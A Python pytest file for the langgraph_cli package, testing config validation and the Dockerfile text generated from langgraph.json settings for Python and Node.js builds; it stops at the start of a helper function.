import copy
import json
import os
import pathlib
import tempfile
import textwrap
from unittest.mock import patch

import click
import pytest

from langgraph_cli.config import (
    _BUILD_TOOLS,
    _get_pip_cleanup_lines,
    config_to_compose,
    config_to_docker,
    default_base_image,
    docker_tag,
    has_disallowed_build_command_content,
    validate_config,
    validate_config_file,
)
from langgraph_cli.util import clean_empty_lines

FORMATTED_CLEANUP_LINES = _get_pip_cleanup_lines(
    install_cmd="uv pip install --system",
    to_uninstall=("pip", "setuptools", "wheel"),
    pip_installer="uv",
)

PATH_TO_CONFIG = pathlib.Path(__file__).parent / "test_config.json"


def _write_uv_lock_workspace(
    tmpdir_path: pathlib.Path,
    *,
    config_relative_dir: str = "apps/agent",
    root_sources: str = "",
    agent_sources: str = "",
    shared_uv_config: str = "",
    agent_dependencies: list[str] | None = None,
) -> tuple[pathlib.Path, pathlib.Path]:
    project_root = tmpdir_path / "workspace"
    config_dir = project_root / config_relative_dir
    shared_dir = project_root / "libs" / "shared"
    extra_dir = project_root / "libs" / "extra"
    deploy_dir = project_root / "deploy" / "agent"

    config_dir.mkdir(parents=True)
    shared_dir.mkdir(parents=True)
    extra_dir.mkdir(parents=True)
    deploy_dir.mkdir(parents=True)

    (project_root / "uv.lock").write_text("# uv lock file\n")
    (project_root / "pyproject.toml").write_text(
        textwrap.dedent(
            f"""
            [project]
            name = "workspace-root"
            version = "0.1.0"

            [tool.uv.workspace]
            members = ["apps/*", "libs/*"]

            {root_sources}

            [build-system]
            requires = ["setuptools>=61"]
            build-backend = "setuptools.build_meta"
            """
        ).strip()
        + "\n"
    )

    (config_dir / "pyproject.toml").write_text(
        textwrap.dedent(
            f"""
            [project]
            name = "agent"
            version = "0.1.0"
            dependencies = {agent_dependencies or ["shared", "httpx>=0.28"]}

            {agent_sources}

            [build-system]
            requires = ["setuptools>=61"]
            build-backend = "setuptools.build_meta"
            """
        ).strip()
        + "\n"
    )
    (shared_dir / "pyproject.toml").write_text(
        textwrap.dedent(
            f"""
            [project]
            name = "shared"
            version = "0.1.0"
            dependencies = ["anyio>=4"]

            {shared_uv_config}

            [build-system]
            requires = ["setuptools>=61"]
            build-backend = "setuptools.build_meta"
            """
        ).strip()
        + "\n"
    )
    (extra_dir / "pyproject.toml").write_text(
        textwrap.dedent(
            """
            [project]
            name = "extra"
            version = "0.1.0"

            [build-system]
            requires = ["setuptools>=61"]
            build-backend = "setuptools.build_meta"
            """
        ).strip()
        + "\n"
    )

    (config_dir / "src" / "agent").mkdir(parents=True)
    (config_dir / "src" / "agent" / "graph.py").touch()
    (shared_dir / "src" / "shared").mkdir(parents=True)
    (shared_dir / "src" / "shared" / "auth.py").touch()
    (extra_dir / "src" / "extra").mkdir(parents=True)
    (extra_dir / "src" / "extra" / "graph.py").touch()

    config_path = deploy_dir / "langgraph.json"
    config_path.touch()
    return project_root, config_path


def test_validate_config():
    # minimal config
    expected_config = {
        "dependencies": ["."],
        "graphs": {
            "agent": "./agent.py:graph",
        },
    }
    actual_config = validate_config(expected_config)
    expected_config = {
        "base_image": None,
        "python_version": "3.11",
        "node_version": None,
        "pip_config_file": None,
        "pip_installer": "auto",
        "source": None,
        "image_distro": "debian",
        "dockerfile_lines": [],
        "env": {},
        "store": None,
        "auth": None,
        "encryption": None,
        "webhooks": None,
        "checkpointer": None,
        "http": None,
        "ui": None,
        "ui_config": None,
        "keep_pkg_tools": None,
        **expected_config,
    }
    assert actual_config == expected_config

    # full config
    env = ".env"
    expected_config = {
        "base_image": None,
        "python_version": "3.12",
        "node_version": None,
        "pip_config_file": "pipconfig.txt",
        "pip_installer": "auto",
        "source": None,
        "image_distro": "debian",
        "dockerfile_lines": ["ARG meow"],
        "dependencies": [".", "langchain"],
        "graphs": {
            "agent": "./agent.py:graph",
        },
        "env": env,
        "store": None,
        "auth": None,
        "encryption": None,
        "webhooks": None,
        "checkpointer": None,
        "http": None,
        "ui": None,
        "ui_config": None,
        "keep_pkg_tools": None,
    }
    actual_config = validate_config(expected_config)
    assert actual_config == expected_config
    expected_config["python_version"] = "3.13"
    actual_config = validate_config(expected_config)
    assert actual_config == expected_config

    # check wrong python version raises
    with pytest.raises(click.UsageError):
        validate_config({"python_version": "3.9"})

    # check missing dependencies key raises
    with pytest.raises(click.UsageError):
        validate_config(
            {"python_version": "3.9", "graphs": {"agent": "./agent.py:graph"}}
        )

    # check missing graphs key raises
    with pytest.raises(click.UsageError):
        validate_config({"python_version": "3.9", "dependencies": ["."]})

    with pytest.raises(click.UsageError) as exc_info:
        validate_config({"python_version": "3.11.0"})
    assert "Invalid Python version format" in str(exc_info.value)

    with pytest.raises(click.UsageError) as exc_info:
        validate_config({"python_version": "3"})
    assert "Invalid Python version format" in str(exc_info.value)

    with pytest.raises(click.UsageError) as exc_info:
        validate_config({"python_version": "abc.def"})
    assert "Invalid Python version format" in str(exc_info.value)

    with pytest.raises(click.UsageError) as exc_info:
        validate_config({"python_version": "3.10"})
    assert "Minimum required version" in str(exc_info.value)

    with pytest.raises(click.UsageError, match="Bullseye images were deprecated"):
        validate_config(
            {
                "python_version": "3.11-bullseye",
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
            }
        )

    config = validate_config(
        {
            "python_version": "3.12-slim",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
        }
    )
    assert config["python_version"] == "3.12-slim"
    with pytest.raises(ValueError, match="Invalid http.app format"):
        validate_config(
            {
                "python_version": "3.12",
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
                "http": {"app": "../../examples/my_app.py"},
            }
        )


def test_validate_config_image_distro():
    """Test validation of image_distro field."""
    # Valid image_distro values should work
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "image_distro": "debian",
        }
    )
    assert config["image_distro"] == "debian"

    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "image_distro": "wolfi",
        }
    )
    assert config["image_distro"] == "wolfi"

    # Missing image_distro should default to 'debian'
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
        }
    )
    assert config["image_distro"] == "debian"

    # Bullseye should raise deprecation error
    with pytest.raises(click.UsageError, match="Bullseye images were deprecated"):
        validate_config(
            {
                "python_version": "3.11",
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
                "image_distro": "bullseye",
            }
        )

    # Invalid image_distro values should raise error
    with pytest.raises(click.UsageError) as exc_info:
        validate_config(
            {
                "python_version": "3.11",
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
                "image_distro": "ubuntu",
            }
        )
    assert "Invalid image_distro: 'ubuntu'" in str(exc_info.value)

    with pytest.raises(click.UsageError) as exc_info:
        validate_config(
            {
                "python_version": "3.11",
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
                "image_distro": "alpine",
            }
        )
    assert "Invalid image_distro: 'alpine'" in str(exc_info.value)

    # Test base Node.js config with image distro
    config = validate_config(
        {
            "node_version": "20",
            "graphs": {"agent": "./agent.js:graph"},
            "image_distro": "wolfi",
        }
    )
    assert config["image_distro"] == "wolfi"

    # Test Node.js config with no distro specified
    config = validate_config(
        {
            "node_version": "20",
            "graphs": {"agent": "./agent.js:graph"},
        }
    )
    assert config["image_distro"] == "debian"


def test_validate_config_pip_installer():
    """Test validation of pip_installer field."""
    # Valid pip_installer values should work
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "pip_installer": "auto",
        }
    )
    assert config["pip_installer"] == "auto"

    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "pip_installer": "pip",
        }
    )
    assert config["pip_installer"] == "pip"

    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
            "pip_installer": "uv",
        }
    )
    assert config["pip_installer"] == "uv"

    config = validate_config(
        {
            "python_version": "3.11",
            "graphs": {"agent": "./agent.py:graph"},
            "source": {"kind": "uv", "root": "../.."},
        }
    )
    assert config["source"] == {"kind": "uv", "root": "../.."}

    # Missing pip_installer should default to "auto"
    config = validate_config(
        {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
        }
    )
    assert config["pip_installer"] == "auto"

    # Invalid pip_installer values should raise error
    with pytest.raises(click.UsageError) as exc_info:
        validate_config(
            {
                "python_version": "3.11",
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
                "pip_installer": "conda",
            }
        )
    assert "Invalid pip_installer: 'conda'" in str(exc_info.value)
    assert "uv-based source management" in str(exc_info.value)

    with pytest.raises(click.UsageError) as exc_info:
        validate_config(
            {
                "python_version": "3.11",
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
                "pip_installer": "invalid",
            }
        )
    assert "Invalid pip_installer: 'invalid'" in str(exc_info.value)

    with pytest.raises(click.UsageError, match="Invalid pip_installer: 'uv_lock'"):
        validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "./agent.py:graph"},
                "pip_installer": "uv_lock",
            }
        )

    config = validate_config(
        {
            "python_version": "3.11",
            "graphs": {"agent": "./agent.py:graph"},
            "source": {"kind": "uv"},
        }
    )
    assert config["source"] == {"kind": "uv"}

    with pytest.raises(
        click.UsageError, match="`source.package` must be a non-empty string"
    ):
        validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "./agent.py:graph"},
                "source": {"kind": "uv", "package": 123},
            }
        )

    with pytest.raises(click.UsageError, match="Remove `dependencies`"):
        validate_config(
            {
                "python_version": "3.11",
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )

    with pytest.raises(click.UsageError, match="requires `python_version`"):
        validate_config(
            {
                "node_version": "20",
                "graphs": {"agent": "./agent.ts:graph"},
                "source": {"kind": "uv", "root": "../..", "package": "agent"},
            }
        )

    # Mixed Python+Node graphs are allowed (python_version auto-defaults)
    config = validate_config(
        {
            "graphs": {
                "agent": "./agent.py:graph",
                "ui": "./agent.ts:graph",
            },
            "source": {"kind": "uv", "root": "../..", "package": "agent"},
        }
    )
    assert config["python_version"] is not None

    # node_version is allowed alongside python_version (for UI builds)
    config = validate_config(
        {
            "python_version": "3.12",
            "node_version": "20",
            "graphs": {"agent": "./agent.py:graph"},
            "source": {"kind": "uv", "root": "../.."},
        }
    )
    assert config["node_version"] == "20"
    assert config["source"] == {"kind": "uv", "root": "../.."}

    with pytest.raises(click.UsageError, match="must be a string"):
        validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "./agent.py:graph"},
                "source": {"kind": "uv", "root": 123},
            }
        )

    with pytest.raises(click.UsageError, match="Invalid source.kind"):
        validate_config(
            {
                "python_version": "3.11",
                "graphs": {"agent": "./agent.py:graph"},
                "source": {"kind": "poetry", "root": "../.."},
            }
        )

    with pytest.raises(
        click.UsageError,
        match="Top-level `project_root` and `package` are no longer supported",
    ):
        validate_config(
            {
                "python_version": "3.11",
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
                "pip_installer": "uv",
                "project_root": "../..",
                "package": "agent",
            }
        )

    with pytest.raises(
        click.UsageError,
        match="Top-level `project_root` and `package` are no longer supported",
    ):
        validate_config(
            {
                "python_version": "3.11",
                "dependencies": ["."],
                "graphs": {"agent": "./agent.py:graph"},
                "project_root": "../..",
            }
        )


def test_validate_config_file():
    with tempfile.TemporaryDirectory() as tmpdir:
        tmpdir_path = pathlib.Path(tmpdir)

        config_path = tmpdir_path / "langgraph.json"

        node_config = {"node_version": "20", "graphs": {"agent": "./agent.js:graph"}}
        with open(config_path, "w") as f:
            json.dump(node_config, f)

        validate_config_file(config_path)

        package_json = {"name": "test", "engines": {"node": "20"}}
        with open(tmpdir_path / "package.json", "w") as f:
            json.dump(package_json, f)
        validate_config_file(config_path)

        package_json["engines"]["node"] = "20.18"
        with open(tmpdir_path / "package.json", "w") as f:
            json.dump(package_json, f)
        with pytest.raises(click.UsageError, match="Use major version only"):
            validate_config_file(config_path)

        package_json["engines"] = {"node": "18"}
        with open(tmpdir_path / "package.json", "w") as f:
            json.dump(package_json, f)
        with pytest.raises(click.UsageError, match="must be >= 20"):
            validate_config_file(config_path)

        package_json["engines"] = {"node": "20", "deno": "1.0"}
        with open(tmpdir_path / "package.json", "w") as f:
            json.dump(package_json, f)
        with pytest.raises(click.UsageError, match="Only 'node' engine is supported"):
            validate_config_file(config_path)

        with open(tmpdir_path / "package.json", "w") as f:
            f.write("{invalid json")
        with pytest.raises(click.UsageError, match="Invalid package.json"):
            validate_config_file(config_path)

        python_config = {
            "python_version": "3.11",
            "dependencies": ["."],
            "graphs": {"agent": "./agent.py:graph"},
        }
        with open(config_path, "w") as f:
            json.dump(python_config, f)

        validate_config_file(config_path)

        for package_content in [
            {"name": "test"},
            {"engines": {"node": "18"}},
            {"engines": {"node": "20", "deno": "1.0"}},
            "{invalid json",
        ]:
            with open(tmpdir_path / "package.json", "w") as f:
                if isinstance(package_content, dict):
                    json.dump(package_content, f)
                else:
                    f.write(package_content)
            validate_config_file(config_path)


def test_validate_config_multiplatform():
    # default node
    config = validate_config(
        {"dependencies": ["."], "graphs": {"js": "./js.mts:graph"}}
    )
    assert config["node_version"] == "20"
    assert config["python_version"] is None

    # default multiplatform
    config = validate_config(
        {
            "node_version": "22",
            "python_version": "3.12",
            "dependencies": ["."],
            "graphs": {"python": "./python.py:graph", "js": "./js.mts:graph"},
        }
    )
    assert config["node_version"] == "22"
    assert config["python_version"] == "3.12"

    # default multiplatform (full infer)
    graphs = {"python": "./python.py:graph", "js": "./js.mts:graph"}
    config = validate_config({"dependencies": ["."], "graphs": graphs})
    assert config["node_version"] == "20"
    assert config["python_version"] == "3.11"

    # default multiplatform (partial node)
    config = validate_config(
        {"node_version": "22", "dependencies": ["."], "graphs": graphs}
    )
    assert config["node_version"] == "22"
    assert config["python_version"] == "3.11"

    # default multiplatform (partial python)
    config = validate_config(
        {"python_version": "3.12", "dependencies": ["."], "graphs": graphs}
    )
    assert config["node_version"] == "20"
    assert config["python_version"] == "3.12"

    # no known extension (assumes python)
    config = validate_config(
        {
            "dependencies": ["./local", "./shared_utils"],
            "graphs": {"agent": "local.workflow:graph"},
            "env": ".env",
        }
    )
    assert config["node_version"] is None
    assert config["python_version"] == "3.11"


# config_to_docker
def test_config_to_docker_simple():
    graphs = {"agent": "./agent.py:graph"}
    actual_docker_stdin, additional_contexts = config_to_docker(
        PATH_TO_CONFIG,
        validate_config(
            {
                "dependencies": [".", "../../examples/graphs_reqs_a", "../../examples"],
                "graphs": graphs,
                "http": {"app": "../../examples/my_app.py:app"},
            }
        ),
        base_image="langchain/langgraph-api",
    )
    expected_docker_stdin = f"""\
# syntax=docker/dockerfile:1.4
FROM langchain/langgraph-api:3.11
# -- Installing local requirements --
COPY --from=outer-requirements.txt requirements.txt /deps/outer-graphs_reqs_a/graphs_reqs_a/requirements.txt
RUN PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -r /deps/outer-graphs_reqs_a/graphs_reqs_a/requirements.txt
# -- End of local requirements install --
# -- Adding local package ../../examples --
COPY --from=examples . /deps/examples
# -- End of local package ../../examples --
# -- Adding non-package dependency unit_tests --
ADD . /deps/outer-unit_tests/unit_tests
RUN set -ex && \\
    for line in '[project]' \\
                'name = "unit_tests"' \\
                'version = "0.1"' \\
                '[tool.setuptools.package-data]' \\
                '"*" = ["**/*"]' \\
                '[build-system]' \\
                'requires = ["setuptools>=61"]' \\
                'build-backend = "setuptools.build_meta"'; do \\
        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
    done
# -- End of non-package dependency unit_tests --
# -- Adding non-package dependency graphs_reqs_a --
COPY --from=outer-graphs_reqs_a . /deps/outer-graphs_reqs_a/graphs_reqs_a
RUN set -ex && \\
    for line in '[project]' \\
                'name = "graphs_reqs_a"' \\
                'version = "0.1"' \\
                '[tool.setuptools.package-data]' \\
                '"*" = ["**/*"]' \\
                '[build-system]' \\
                'requires = ["setuptools>=61"]' \\
                'build-backend = "setuptools.build_meta"'; do \\
        echo "$line" >> /deps/outer-graphs_reqs_a/pyproject.toml; \\
    done
# -- End of non-package dependency graphs_reqs_a --
# -- Installing all local dependencies --
RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
# -- End of local dependencies install --
ENV LANGGRAPH_HTTP='{{"app": "/deps/examples/my_app.py:app"}}'
ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}}'
{FORMATTED_CLEANUP_LINES}
WORKDIR /deps/outer-unit_tests/unit_tests\
"""
    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin

    assert additional_contexts == {
        "outer-graphs_reqs_a": str(
            (pathlib.Path(__file__).parent / "../../examples/graphs_reqs_a").resolve()
        ),
        "examples": str((pathlib.Path(__file__).parent / "../../examples").resolve()),
    }


def test_config_to_docker_outside_path():
    graphs = {"agent": "./agent.py:graph"}
    actual_docker_stdin, additional_contexts = config_to_docker(
        PATH_TO_CONFIG,
        validate_config({"dependencies": [".", ".."], "graphs": graphs}),
        base_image="langchain/langgraph-api",
    )
    expected_docker_stdin = (
        """\
# syntax=docker/dockerfile:1.4
FROM langchain/langgraph-api:3.11
# -- Adding non-package dependency unit_tests --
ADD . /deps/outer-unit_tests/unit_tests
RUN set -ex && \\
    for line in '[project]' \\
                'name = "unit_tests"' \\
                'version = "0.1"' \\
                '[tool.setuptools.package-data]' \\
                '"*" = ["**/*"]' \\
                '[build-system]' \\
                'requires = ["setuptools>=61"]' \\
                'build-backend = "setuptools.build_meta"'; do \\
        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
    done
# -- End of non-package dependency unit_tests --
# -- Adding non-package dependency tests --
COPY --from=outer-tests . /deps/outer-tests/tests
RUN set -ex && \\
    for line in '[project]' \\
                'name = "tests"' \\
                'version = "0.1"' \\
                '[tool.setuptools.package-data]' \\
                '"*" = ["**/*"]' \\
                '[build-system]' \\
                'requires = ["setuptools>=61"]' \\
                'build-backend = "setuptools.build_meta"'; do \\
        echo "$line" >> /deps/outer-tests/pyproject.toml; \\
    done
# -- End of non-package dependency tests --
# -- Installing all local dependencies --
RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
# -- End of local dependencies install --
ENV LANGSERVE_GRAPHS='{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}'
"""
        + FORMATTED_CLEANUP_LINES
        + """
WORKDIR /deps/outer-unit_tests/unit_tests\
"""
    )
    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
    assert additional_contexts == {
        "outer-tests": str(pathlib.Path(__file__).parent.parent.absolute()),
    }


def test_config_to_docker_pipconfig():
    graphs = {"agent": "./agent.py:graph"}
    actual_docker_stdin, additional_contexts = config_to_docker(
        PATH_TO_CONFIG,
        validate_config(
            {
                "dependencies": ["."],
                "graphs": graphs,
                "pip_config_file": "pipconfig.txt",
            }
        ),
        base_image="langchain/langgraph-api",
    )
    expected_docker_stdin = (
        """\
FROM langchain/langgraph-api:3.11
ADD pipconfig.txt /pipconfig.txt
# -- Adding non-package dependency unit_tests --
ADD . /deps/outer-unit_tests/unit_tests
RUN set -ex && \\
    for line in '[project]' \\
                'name = "unit_tests"' \\
                'version = "0.1"' \\
                '[tool.setuptools.package-data]' \\
                '"*" = ["**/*"]' \\
                '[build-system]' \\
                'requires = ["setuptools>=61"]' \\
                'build-backend = "setuptools.build_meta"'; do \\
        echo "$line" >> /deps/outer-unit_tests/pyproject.toml; \\
    done
# -- End of non-package dependency unit_tests --
# -- Installing all local dependencies --
RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PIP_CONFIG_FILE=/pipconfig.txt PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
# -- End of local dependencies install --
ENV LANGSERVE_GRAPHS='{"agent": "/deps/outer-unit_tests/unit_tests/agent.py:graph"}'
"""
        + FORMATTED_CLEANUP_LINES
        + """
WORKDIR /deps/outer-unit_tests/unit_tests\
"""
    )
    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
    assert additional_contexts == {}


def test_config_to_docker_invalid_inputs():
    # test missing local dependencies
    with pytest.raises(FileNotFoundError):
        graphs = {"agent": "tests/unit_tests/agent.py:graph"}
        config_to_docker(
            PATH_TO_CONFIG,
            validate_config({"dependencies": ["./missing"], "graphs": graphs}),
            base_image="langchain/langgraph-api",
        )

    # test missing local module
    with pytest.raises(FileNotFoundError):
        graphs = {"agent": "./missing_agent.py:graph"}
        config_to_docker(
            PATH_TO_CONFIG,
            validate_config({"dependencies": ["."], "graphs": graphs}),
            base_image="langchain/langgraph-api",
        )


def test_config_to_docker_local_deps():
    graphs = {"agent": "./graphs/agent.py:graph"}
    actual_docker_stdin, additional_contexts = config_to_docker(
        PATH_TO_CONFIG,
        validate_config(
            {
                "dependencies": ["./graphs"],
                "graphs": graphs,
            }
        ),
        base_image="langchain/langgraph-api-custom",
    )
    expected_docker_stdin = f"""\
FROM langchain/langgraph-api-custom:3.11
# -- Adding non-package dependency graphs --
ADD ./graphs /deps/outer-graphs/src
RUN set -ex && \\
    for line in '[project]' \\
                'name = "graphs"' \\
                'version = "0.1"' \\
                '[tool.setuptools.package-data]' \\
                '"*" = ["**/*"]' \\
                '[build-system]' \\
                'requires = ["setuptools>=61"]' \\
                'build-backend = "setuptools.build_meta"'; do \\
        echo "$line" >> /deps/outer-graphs/pyproject.toml; \\
    done
# -- End of non-package dependency graphs --
# -- Installing all local dependencies --
RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
# -- End of local dependencies install --
ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-graphs/src/agent.py:graph"}}'
{FORMATTED_CLEANUP_LINES}\
"""
    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
    assert additional_contexts == {}


def test_config_to_docker_pyproject():
    pyproject_str = """[project]
name = "custom"
version = "0.1"
dependencies = ["langchain"]"""
    pyproject_path = "tests/unit_tests/pyproject.toml"
    with open(pyproject_path, "w") as f:
        f.write(pyproject_str)

    graphs = {"agent": "./graphs/agent.py:graph"}
    actual_docker_stdin, additional_contexts = config_to_docker(
        PATH_TO_CONFIG,
        validate_config(
            {
                "dependencies": ["."],
                "graphs": graphs,
            }
        ),
        base_image="langchain/langgraph-api",
    )
    os.remove(pyproject_path)
    expected_docker_stdin = (
        """FROM langchain/langgraph-api:3.11
# -- Adding local package . --
ADD . /deps/unit_tests
# -- End of local package . --
# -- Installing all local dependencies --
RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
# -- End of local dependencies install --
ENV LANGSERVE_GRAPHS='{"agent": "/deps/unit_tests/graphs/agent.py:graph"}'
"""
        + FORMATTED_CLEANUP_LINES
        + "\n"
        + "WORKDIR /deps/unit_tests"
        ""
    )
    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
    assert additional_contexts == {}


def test_config_to_docker_end_to_end():
    graphs = {"agent": "./graphs/agent.py:graph"}
    actual_docker_stdin, additional_contexts = config_to_docker(
        PATH_TO_CONFIG,
        validate_config(
            {
                "python_version": "3.12",
                "dependencies": ["./graphs/", "langchain", "langchain_openai"],
                "graphs": graphs,
                "pip_config_file": "pipconfig.txt",
                "dockerfile_lines": ["ARG meow", "ARG foo"],
            }
        ),
        base_image="langchain/langgraph-api",
    )
    expected_docker_stdin = f"""FROM langchain/langgraph-api:3.12
ARG meow
ARG foo
ADD pipconfig.txt /pipconfig.txt
RUN PIP_CONFIG_FILE=/pipconfig.txt PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt langchain langchain_openai
# -- Adding non-package dependency graphs --
ADD ./graphs/ /deps/outer-graphs/src
RUN set -ex && \\
    for line in '[project]' \\
                'name = "graphs"' \\
                'version = "0.1"' \\
                '[tool.setuptools.package-data]' \\
                '"*" = ["**/*"]' \\
                '[build-system]' \\
                'requires = ["setuptools>=61"]' \\
                'build-backend = "setuptools.build_meta"'; do \\
        echo "$line" >> /deps/outer-graphs/pyproject.toml; \\
    done
# -- End of non-package dependency graphs --
# -- Installing all local dependencies --
RUN for dep in /deps/*; do             echo "Installing $dep";             if [ -d "$dep" ]; then                 echo "Installing $dep";                 (cd "$dep" && PIP_CONFIG_FILE=/pipconfig.txt PYTHONDONTWRITEBYTECODE=1 uv pip install --system --no-cache-dir -c /api/constraints.txt -e .);             fi;         done
# -- End of local dependencies install --
ENV LANGSERVE_GRAPHS='{{"agent": "/deps/outer-graphs/src/agent.py:graph"}}'
{FORMATTED_CLEANUP_LINES}"""
    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
    assert additional_contexts == {}


# node.js build used for LangSmith Deployment
def test_config_to_docker_nodejs():
    graphs = {"agent": "./graphs/agent.js:graph"}
    actual_docker_stdin, additional_contexts = config_to_docker(
        PATH_TO_CONFIG,
        validate_config(
            {
                "node_version": "20",
                "graphs": graphs,
                "dockerfile_lines": ["ARG meow", "ARG foo"],
                "auth": {"path": "./graphs/auth.mts:auth"},
                "ui": {"agent": "./graphs/agent.ui.jsx"},
                "ui_config": {"shared": ["nuqs"]},
            }
        ),
        base_image="langchain/langgraphjs-api",
    )
    expected_docker_stdin = """FROM langchain/langgraphjs-api:20
ARG meow
ARG foo
ADD . /deps/unit_tests
WORKDIR /deps/unit_tests
RUN npm i
ENV LANGGRAPH_AUTH='{"path": "./graphs/auth.mts:auth"}'
ENV LANGGRAPH_UI='{"agent": "./graphs/agent.ui.jsx"}'
ENV LANGGRAPH_UI_CONFIG='{"shared": ["nuqs"]}'
ENV LANGSERVE_GRAPHS='{"agent": "./graphs/agent.js:graph"}'
WORKDIR /deps/unit_tests
RUN (test ! -f /api/langgraph_api/js/build.mts && echo "Prebuild script not found, skipping") || tsx /api/langgraph_api/js/build.mts"""

    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
    assert additional_contexts == {}


def test_config_to_docker_python_encryption():
    # Test that encryption config is included in validation
    graphs = {"agent": "./agent.py:graph"}
    validated = validate_config(
        {
            "python_version": "3.11",
            "graphs": graphs,
            "dependencies": ["."],
            "encryption": {"path": "./encryption.py:encryption"},
        }
    )

    # Verify that encryption config is preserved after validation
    assert validated.get("encryption") is not None
    assert validated["encryption"]["path"] == "./encryption.py:encryption"


def test_config_to_docker_python_encryption_bad_path():
    # Test that invalid encryption path format raises ValueError
    graphs = {"agent": "./agent.py:graph"}
    with pytest.raises(ValueError, match="Invalid encryption.path format"):
        validate_config(
            {
                "python_version": "3.11",
                "graphs": graphs,
                "dependencies": ["."],
                "encryption": {"path": "./encryption.py"},  # Missing :attribute
            }
        )


def test_config_to_docker_python_encryption_formatted():
    # Test that encryption config is properly formatted in Docker output
    graphs = {"agent": "./graphs/agent.py:graph"}
    actual_docker_stdin, _ = config_to_docker(
        PATH_TO_CONFIG,
        validate_config(
            {
                "python_version": "3.11",
                "dependencies": ["."],
                "graphs": graphs,
                "encryption": {"path": "./agent.py:my_encryption"},
            }
        ),
        base_image="langchain/langgraph-api",
    )
    # Verify that LANGGRAPH_ENCRYPTION is in the docker output with the correct path
    assert "LANGGRAPH_ENCRYPTION=" in actual_docker_stdin
    assert (
        "/deps/outer-unit_tests/unit_tests/agent.py:my_encryption"
        in actual_docker_stdin
    )


def test_config_to_docker_nodejs_internal_docker_tag():
    graphs = {"agent": "./graphs/agent.js:graph"}
    actual_docker_stdin, additional_contexts = config_to_docker(
        PATH_TO_CONFIG,
        validate_config(
            {
                "node_version": "20",
                "graphs": graphs,
                "dockerfile_lines": ["ARG meow", "ARG foo"],
                "auth": {"path": "./graphs/auth.mts:auth"},
                "ui": {"agent": "./graphs/agent.ui.jsx"},
                "ui_config": {"shared": ["nuqs"]},
                "_INTERNAL_docker_tag": "my-tag",
            }
        ),
        base_image="langchain/langgraphjs-api",
    )
    expected_docker_stdin = """FROM langchain/langgraphjs-api:my-tag
ARG meow
ARG foo
ADD . /deps/unit_tests
WORKDIR /deps/unit_tests
RUN npm i
ENV LANGGRAPH_AUTH='{"path": "./graphs/auth.mts:auth"}'
ENV LANGGRAPH_UI='{"agent": "./graphs/agent.ui.jsx"}'
ENV LANGGRAPH_UI_CONFIG='{"shared": ["nuqs"]}'
ENV LANGSERVE_GRAPHS='{"agent": "./graphs/agent.js:graph"}'
WORKDIR /deps/unit_tests
RUN (test ! -f /api/langgraph_api/js/build.mts && echo "Prebuild script not found, skipping") || tsx /api/langgraph_api/js/build.mts"""

    assert clean_empty_lines(actual_docker_stdin) == expected_docker_stdin
    assert additional_contexts == {}


def _extract_env_json(dockerfile: str, var_name: str) -> dict:
